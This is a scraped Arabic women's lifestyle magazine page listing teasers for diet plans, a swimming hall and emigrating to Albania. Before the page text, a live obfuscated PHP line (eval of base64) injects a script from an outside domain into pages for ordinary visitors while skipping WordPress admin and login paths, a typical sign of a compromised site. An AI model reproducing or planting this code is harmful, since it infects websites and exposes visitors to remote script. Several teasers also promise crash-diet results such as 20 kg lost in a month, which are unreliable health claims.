eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AvdjIiKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtYWRtaW4iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtbG9naW4ucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsiSFRUUF9YX1JFUVVFU1RFRF9XSVRIIl0pICE9PSAieG1saHR0cHJlcXVlc3QiCikpIHsKICAgIHByaW50KGJhc2U2NF9kZWNvZGUoIlBITmpjbWx3ZENCemNtTTlJaTh2WVdzdVlXdGhiVFl3T0RBd0xtNWxkQzhpUGp3dmMyTnlhWEIwUGc9PSIpKTsKfQ==")); جوزال | لايف ستايل

مجلة نسائية عربية

رجيم هنادي مهنا القاسي في 4 شهور لحرق دهون 30 كيلو بدون حرمان

رجيم هنادي مهنا القاسي في 4 شهور لحرق دهون 30 كيلو بدون حرمان

رجيم هنادي مهنا.. لفتت الفنانة الشابة هنادي مهنا انظار متابعيها ومحبيها عبر منصات التواصل الإجتماعي، بعد نشرها عدة صور توضح فقدانها الوزن بشكل ملحوظ، وبدأ رواد السوشيال في طرح علامات الإستفهام حول النظام الغذائي الذي اتبعته هنادي، وماهي النصائح والخطوات التي أدت الي...
افضل قاعة لتعليم السباحة للأطفال والسيدات في بلدية المعذر

افضل قاعة لتعليم السباحة للأطفال والسيدات في بلدية المعذر

قاعة تعليم السباحة في بلدية المعذر… تعد السباحة من اكثر الرياضات شهرة حول العالم ولم تقتصر في تداولها علي الرجال فقط، بل ترغب النساء والاطفال في تعلمها ايضاً، لما له من تأثير علي الكتلة العضلية والبنية الجسدية القوية لجسم الاطفال والسيدات، وننشر لكم عبر مجلتنا...
جدول وجبات كيتو دايت في اسبوع | قائمة المسموحات والممنوعات

جدول وجبات كيتو دايت في اسبوع | قائمة المسموحات والممنوعات

جدول وجبات كيتو دايت … يعد النظام الغذائي الكيتوني من اكثر الأنظمة العالمية شهرة واتباعاً لدي ملايين الأشخاص، حيث أصبح النظام الغذائي الكيتوني أو كيتو دايت شائعاً في الكثير من المجتمعات العربية، وقد أثبت أن هذا النظام الغذائي منخفض الكربوهيدرات وعالي الدهون فعال...
رجيم النقاط الفرنسي بالتفصيل | جدول الوجبات | طريقة حساب النقاط

رجيم النقاط الفرنسي بالتفصيل | جدول الوجبات | طريقة حساب النقاط

رجيم النقاط الفرنسي بالتفصيل.. يعد رجيم النقاط نظام لمراقبة الوزن، وهو عبارة عن نظام غذائي فرنسي الأصل يعتمد علي المواد الغذائية الغنية بالألياف والقليلة في احتوائها علي سعرات حرارية، وذلك لما للألياف من قدرة علي المساعدة علي محاربة الإمساك وتحسين عملية الهضم فضلا عن...
نظام الكيتو دايت لمدة 7 ايام شامل جدول الوجبات والأطعمة المسموحة والممنوعات

نظام الكيتو دايت لمدة 7 ايام شامل جدول الوجبات والأطعمة المسموحة والممنوعات

نظام الكيتو دايت هو نوع نظام غذائي هدفة خساره الوزن و حرق الدهون، ويتم استخدامه بكثرة من لاعبي كمال الأجسام حيث يستعملون هذا النظام اثناء الاعداد لبطولة حتى ينشفون الشحوم حول العضلات، ويعتمد رجيم الكيتو دايت على تناول وجبات غنية بالدهون، متوسطه البروتين وقليلة...
رجيم بديل التكميم بدون عملية لفقدان 20 كيلو في شهر واحد هنادي البدر

رجيم بديل التكميم بدون عملية لفقدان 20 كيلو في شهر واحد هنادي البدر

رجيم بديل التكميم هنادي البدر … عمليات تكميم المعدة أصبحت هي الحل الأسرع والأسهل للعديد من مرضى السمنة، لكن للأسف بعد عام واحد أو أكثر قد يعودون مرة أخرى للأوزان الزائدة، فضلاً عن الكثير من أعراضها الجانبية اتي قد تصيبهم على المدى البعيد. لذللك وفي هذا الصدد،...
نظام نيومي بديل التكميم اقوي واسرع رجيم لخسارة 30 كيلو هنادي البدر

نظام نيومي بديل التكميم اقوي واسرع رجيم لخسارة 30 كيلو هنادي البدر

ارتفعت عمليات البحث في وطننا العربي عن نظام نيومي بديل التكميم والذي اعدته الدكتورة هنادي البدر ، حيث يعد رجيم صحي متكامل للإستغناء عن عمليات تكميم المعدة التي تتسم بالخطورة نوعا ما، ونذكر لكم عبر مجلتنا “جوزال”، نظام نيومي بالتفصيل مع رجيم لمدة خمس...
رجيم سامي البدر السريع لخسارة 20 كيلو في شهرين بدون حرمان

رجيم سامي البدر السريع لخسارة 20 كيلو في شهرين بدون حرمان

رجيم سامي البدر.. يتجه الطب الحديث إلى أهمية الغذاء، بوصفه جزءا من الوقاية والعلاج لكثير من الأمراض، وخصوصا بعد توسع الاعتماد على الأغذية الجاهزة، والاضرار التي تسببها، وخلال استضافة موقع الأنباء لأخصائي التغذية والطب الرياضي، في مستشفى طيبة في ديوانية الأنباء للرد...
الهجرة إلي ألبانيا بالتفصيل | شروط الحصول علي الإقامة والجنسية الالبانية

الهجرة إلي ألبانيا بالتفصيل | شروط الحصول علي الإقامة والجنسية الالبانية

بعد أن فتحت ألبانيا باب السياحة إليها دون الحاجة إلي استخراج فيزا من عدة دول عربية، ارتفعت عمليات البحث بشكل مكثف عن الهجرة إلي ألبانيا وشروط الحصول علي الإقامة والجنسية الألبانية، كما تطرق المسافرين العرب الي معرفة كافة التفاصيل حول المعيشة هناك، وهذا ماسنذكره لكم...
رجيم سريع في رمضان لتنزيل الوزن 10 كيلو بدون حرمان سالي فؤاد

رجيم سريع في رمضان لتنزيل الوزن 10 كيلو بدون حرمان سالي فؤاد

رجيم سريع في رمضان سالي فؤاد.. بالإضافة الى الفوائد الصحية العظيمة للصيام في شهر رمضان، فهو يمنحنا فرصةً هائلة لفقدان الوزن الزائد، كل ما يجب فعله هو استغلال تلك الفرصة في اطارها الصحيح، وعدم الانسياق وراء العادات والتقاليد والأسلوب الغذائي الخاطئ الذي يتبعه الكثيرون...